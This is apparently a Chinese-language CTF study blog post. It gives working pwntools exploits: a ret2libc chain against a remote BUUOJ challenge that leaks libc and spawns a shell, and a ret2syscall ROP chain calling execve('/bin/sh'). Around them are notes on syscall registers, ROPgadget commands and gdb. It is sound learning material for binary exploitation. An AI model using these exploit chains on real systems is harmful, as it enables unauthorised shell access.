12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
p=remote("node5.buuoj.cn",25485)
#p=process('./222')
elf=ELF('./222')
context.log_level = 'debug'
#gdb.attach(p,"b*0x400AEE")
main=0x400b28
rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('Input your choice!\n','1')
payload=b'\x00'*0x58
payload+=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)


puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(b"puts_addr:" + hex(puts_addr).encode())

libc=LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump("system")
binsh = libc_base +libc.dump("str_bin_sh")
p.sendlineafter('choice!\n','1')
payload=b'\x00'*0x58+ p64(ret) + p64(rdi) + p64(binsh) + p64(sys_addr)
p.sendlineafter('encrypted\n',payload)
p.interactive()
1
p.recvuntil('\n')
  • 从进程/远端读取直到遇到换行(包含换行本身)。注意:在 Python3 / pwntools 中应传 bytesp.recvuntil(b'\n'),否则会出错或行为不一致。
1
[:-1]
  • 去掉最后一个字节(也就是把换行 \n 去掉),得到“行内容”。
1
.ljust(8, b'\0')
  • 把得到的字节串右侧填充到 8 字节(小端 u64 需要 8 字节)。例如如果你得到 b'\x10\x20\x30'(3 字节),ljust(8,b’\0’) 变成 b'\x10\x20\x30\x00\x00\x00\x00\x00'
1
u64(...)
  • 把上面的 8 字节按 小端 解为一个 64 位整数(pwntools 的 u64)。得到 puts_addr

ret2syscall

链接

寄存器

在32位系统中,通过int 0x80指令触发系统调用。其中,EAX寄存器用于传递系统调用号,参数按顺序赋值给EBX、ECX、EDX、ESI、

EDI、EBP这6个寄存器。

在64位系统中,使用syscall指令来触发系统调用,同样使用EAX(RAX)寄存器传递系统调用号RDI、RSI、RDX、RCX、R8、R9

这6个寄存器用来传递参数。

image

eg:read(0,buf,0x100)

32位时,eax=3(#define__NR_read 3);ebx=0;ecx=buf;edx=0x100;,设置完每个寄存器的值之后,再执行int 0x80指令,就会执行对应的read(0,buf,0x100)。实际上,最后还会进入内核态执行。

64位时,rax=0(#define__NR_read 0);rdi=0;rsi=buf;rdx=0x100,设置完每个寄存器的值之后,再执行syscall指令,就会执行对应的read(0,buf,0x100)。

也是进入内核态执行。

如果想要完成Get shell

system(“/bin/sh”)

32位时,:eax=11(#define__NR_execve 11);ebx=”/bin/sh”;ecx=0;edx=0;(NULL实际上就是0),设置完每个寄存器的值之后,再执行int 0x80指令,就会执行对应的execve(”/bin/sh”,NULL,NULL)。

64位时,rax=59(#define__NR_execve 59);rdi=”/bin/sh”;rsi=0;rdx=0;

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p= process('./rop')
eax= 0x080bb196
edx_ecx_ebx= 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408

pay= flat(
['A' * 112, eax, 0xb, edx_ecx_ebx, 0, 0, binsh, int_0x80])

p.sendline(pay)
p.interactive()

1
2
3
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop --string '/bin/sh'
  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

gdb

挺多的,慢慢学

gdb ./vuln
在本地打开可执行文件。

runr
运行程序(可加参数:run arg1 arg2

break mainb main
在函数入口下断点。

break *0x40060db *0x40060d
在具体地址下断点

continuec —— 继续运行到下一个断点。

steps —— 单步,进入函数(按源码/指令)。

nextn —— 单步,不进入函数(跳过 call)。

si / ni —— 指令级单步(single instruction / next instruction)。

finish —— 运行到当前函数返回并打印返回值。

p/x $rspp/x $rax —— 打印寄存器值(十六进制)。

disassemble maindisassemble 0x40060d,0x400630 —— 反汇编函数/地址区间。

x/i $rip(x86_64) / x/i $eip(x86) —— 查看当前指令。

 请作者喝杯咖啡
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View